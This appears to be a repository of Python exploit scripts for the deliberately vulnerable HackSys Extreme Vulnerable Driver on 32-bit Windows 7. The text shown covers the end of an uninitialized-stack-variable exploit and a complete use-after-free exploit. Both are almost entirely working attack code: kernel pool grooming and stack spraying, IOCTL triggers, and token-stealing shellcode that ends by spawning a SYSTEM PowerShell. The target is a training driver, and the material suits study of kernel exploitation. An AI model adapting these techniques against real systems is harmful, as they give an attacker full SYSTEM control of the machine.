 25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 26 | shellcode += '\x61'                             # popad
 27 | shellcode += '\xc3'                             # ret
 28 | 
 29 | def push_dword(value):
 30 |     '''
 31 |     just push dword
 32 |     '''
 33 |     code = '\x68' + struct.pack('<L', value)    # push    value
 34 |     return code
 35 | 
 36 | def call_func(addr):
 37 |     '''
 38 |     call func via eax
 39 |     '''
 40 |     code = ''
 41 |     code += '\xb8' + struct.pack('<L', addr)    # mov     eax,addr
 42 |     code += '\xff\xd0'                          # call    eax
 43 |     return code
 44 | 
 45 | def retn():
 46 |     '''
 47 |     just return
 48 |     '''
 49 |     code = '\xc3'                               # ret
 50 |     return code
 51 | 
 52 | hFile = windll.kernel32.CreateFileA(device_name,
 53 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 54 |                                 0x00000001,     # FILE_SHARE_READ
 55 |                                 0,              # NULL
 56 |                                 3,              # OPEN_EXISTING
 57 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 58 |                                 0)              # NULL
 59 | 
 60 | if hFile == -1:
 61 |     print '[-] Failed to open device: %s' % device_name
 62 |     sys.exit(1)
 63 | print '[+] Device opened successfully: %s' % device_name
 64 | 
 65 | shellcode_buffer = windll.kernel32.VirtualAlloc(0,
 66 |                                 len(shellcode),
 67 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 68 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 69 | 
 70 | if shellcode_buffer == 0:
 71 |     print '[-] Failed to allocate shellcode'
 72 |     sys.exit(1)
 73 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer
 74 | 
 75 | memmove(shellcode_buffer, shellcode, len(shellcode))
 76 | 
 77 | print '[+] Resolving APIs'
 78 | 
 79 | hNtdll = windll.kernel32.LoadLibraryA('ntdll.dll')
 80 | NtMapUserPhysicalPages = windll.kernel32.GetProcAddress(hNtdll,
 81 |                                 'NtMapUserPhysicalPages')
 82 | 
 83 | hKernel32 = windll.kernel32.LoadLibraryA('kernel32.dll')
 84 | DeviceIoControl = windll.kernel32.GetProcAddress(hKernel32,
 85 |                                 'DeviceIoControl')
 86 | 
 87 | # allocate data to spray
 88 | spray = struct.pack('<L', shellcode_buffer) * 0x400
 89 | spray_buffer = windll.kernel32.VirtualAlloc(0,
 90 |                                 len(spray),
 91 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 92 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 93 | if spray_buffer == 0:
 94 |     print '[-] Failed to allocate spray data'
 95 |     sys.exit(1)
 96 | print '[+] Spray data allocated at 0x%08x' % spray_buffer
 97 | 
 98 | memmove(spray_buffer, spray, len(spray))
 99 | 
100 | # building ad-hoc code. i know this is a terrible BAAD idea...
101 | ioctl_code = 0x22202F
102 | bytes_retn = c_int(0)
103 | magic_dword = c_uint(0xcafebabe)
104 | code = ''
105 | code += push_dword(spray_buffer)
106 | code += push_dword(0x400)
107 | code += push_dword(0)
108 | code += call_func(NtMapUserPhysicalPages)       # see http://j00ru.vexillium.org/?p=769
109 | code += push_dword(0)
110 | code += push_dword(addressof(bytes_retn))
111 | code += push_dword(0)
112 | code += push_dword(0)
113 | code += push_dword(4)
114 | code += push_dword(addressof(magic_dword))
115 | code += push_dword(ioctl_code)
116 | code += push_dword(hFile)
117 | code += call_func(DeviceIoControl)              # UninitializedStackVariableIoctlHandler
118 | code += retn()
119 | 
120 | code_buffer = windll.kernel32.VirtualAlloc(0,
121 |                                 len(code),
122 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
123 |                                 0x40)           # PAGE_EXECUTE_READWRITE
124 | 
125 | if code_buffer == 0:
126 |     print '[-] Failed to allocate ad-hoc code'
127 |     sys.exit(1)
128 | print '[+] Ad-hoc code allocated at 0x%08x' % code_buffer
129 | 
130 | memmove(code_buffer, code, len(code))
131 | 
132 | print '[+] Executing ad-hoc code'
133 | 
134 | WINFUNCTYPE(None)(code_buffer)()
135 | 
136 | # Got SYSTEM shell?
137 | import os
138 | os.system("powershell.exe")
139 | 


--------------------------------------------------------------------------------
/Windows 7 SP1 x86/UseAfterFree_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 UseAfterFree exploit for Windows 7 SP1 x86 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | 
 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 11 | 
 12 | # assembled with WinDBG
 13 | shellcode = ''
 14 | shellcode += '\x60'                             # pushad
 15 | shellcode += '\x31\xc0'                         # xor     eax,eax
 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00'     # mov     eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread
 17 | shellcode += '\x8b\x40\x50'                     # mov     eax,dword ptr [eax+50h]     ; 0x50 = offset nt!_KTHREAD.ApcState.Process
 18 | shellcode += '\x8b\xc8'                         # mov     ecx,eax
 19 | shellcode += '\xba\x04\x00\x00\x00'             # mov     edx,4
 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00'         # mov     eax,dword ptr [eax+0B8h]    ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 21 | shellcode += '\x2d\xb8\x00\x00\x00'             # sub     eax,0B8h
 22 | shellcode += '\x39\x90\xb4\x00\x00\x00'         # cmp     dword ptr [eax+0B4h],edx    ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId
 23 | shellcode += '\x75\xed'                         # jne     $-17
 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00'         # mov     edx,dword ptr [eax+0F8h]    ; 0xF8 = offset nt!_EPROCESS.Token
 25 | shellcode += '\x89\x91\xf8\x00\x00\x00'         # mov     dword ptr [ecx+0F8h],edx
 26 | shellcode += '\x61'                             # popad
 27 | shellcode += '\xc3'                             # ret
 28 | 
 29 | hFile = windll.kernel32.CreateFileA(device_name,
 30 |                                 0xC0000000,     # GENERIC_READ | GENERIC_WRITE
 31 |                                 0x00000001,     # FILE_SHARE_READ
 32 |                                 0,              # NULL
 33 |                                 3,              # OPEN_EXISTING
 34 |                                 0x80,           # FILE_ATTRIBUTE_NORMAL
 35 |                                 0)              # NULL
 36 | 
 37 | if hFile == -1:
 38 |     print '[-] Failed to open device: %s' % device_name
 39 |     sys.exit(1)
 40 | print '[+] Device opened successfully: %s' % device_name
 41 | 
 42 | # Mastr Plan:
 43 | # Grooming -> AllocateUaFObject -> FreeUaFObject -> AllocateFakeObject -> UseUaFObject -> pwn! ;)
 44 | 
 45 | # 1. groom Kernel Pool
 46 | print '[+] Allocationg 0x18000 objects'
 47 | 
 48 | handles = []
 49 | for i in xrange(0x18000):
 50 |     hObj = c_int(0)
 51 |     windll.ntdll.NtAllocateReserveObject(byref(hObj),
 52 |                                     0,
 53 |                                     1)          # IO_COMPLETION_OBJECT
 54 |     handles.append(hObj)
 55 | 
 56 | print '[+] Creating 0x4000 holes'
 57 | 
 58 | for h in handles[0x10000::2]:
 59 |     windll.kernel32.CloseHandle(h)
 60 | handles = handles[:0x10000] + handles[0x10001::2]
 61 | 
 62 | # 2. allocate UaF obj
 63 | print '[+] Allocating UaF object'
 64 | 
 65 | dummy = create_string_buffer('A'*0x1000)
 66 | 
 67 | ioctl_alloc = 0x222013  # call AllocateUaFObjectIoctlHandler
 68 | windll.kernel32.DeviceIoControl(hFile,
 69 |                                 ioctl_alloc,
 70 |                                 dummy,
 71 |                                 0x1000,
 72 |                                 0,
 73 |                                 0,
 74 |                                 byref(c_int(0)),
 75 |                                 0)
 76 | 
 77 | # 3. free UaF obj
 78 | print '[+] Freeing UaF object'
 79 | 
 80 | ioctl_free = 0x22201B    # call FreeUaFObjectIoctlHandler
 81 | windll.kernel32.DeviceIoControl(hFile,
 82 |                                 ioctl_free,
 83 |                                 dummy,
 84 |                                 0x1000,
 85 |                                 0,
 86 |                                 0,
 87 |                                 byref(c_int(0)),
 88 |                                 0)
 89 | 
 90 | # 4. fill the holes with fake obj
 91 | shellcode_buffer = windll.kernel32.VirtualAlloc(0,
 92 |                                 len(shellcode),
 93 |                                 0x00003000,     # MEM_COMMIT | MEM_RESERVE
 94 |                                 0x40)           # PAGE_EXECUTE_READWRITE
 95 | 
 96 | if shellcode_buffer == 0:
 97 |     print '[-] Failed to allocate shellcode'
 98 |     sys.exit(1)
 99 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer
100 | 
101 | memmove(shellcode_buffer, shellcode, len(shellcode))
102 | 
103 | fake_obj = struct.pack('<L', shellcode_buffer) + \
104 |            'B' * 0x54
105 | 
106 | print '[+] Allocating fake objects'
107 | 
108 | ioctl_fake = 0x22201F   # call AllocateFakeObjectIoctlHandler
109 | for i in xrange(0x4000):
110 |     windll.kernel32.DeviceIoControl(hFile,      # cause memory leaks...
111 |                                     ioctl_fake,
112 |                                     fake_obj,
113 |                                     len(fake_obj),
114 |                                     0,
115 |                                     0,
116 |                                     byref(c_int(0)),
117 |                                     0)
118 | 
119 | # 5. callback the shellcode
120 | print '[+] Triggering fake callback func'
121 | 
122 | ioctl_use = 0x222017    # call UseUaFObjectIoctlHandler
123 | windll.kernel32.DeviceIoControl(hFile,
124 |                                 ioctl_use,
125 |                                 dummy,
126 |                                 0x1000,
127 |                                 0,
128 |                                 0,
129 |                                 byref(c_int(0)),
130 |                                 0)
131 | 
132 | # close remaining handles
133 | for h in handles:
134 |     windll.kernel32.CloseHandle(h)
135 | 
136 | # Got SYSTEM shell?
137 | import os
138 | os.system("powershell.exe")
139 | 


--------------------------------------------------------------------------------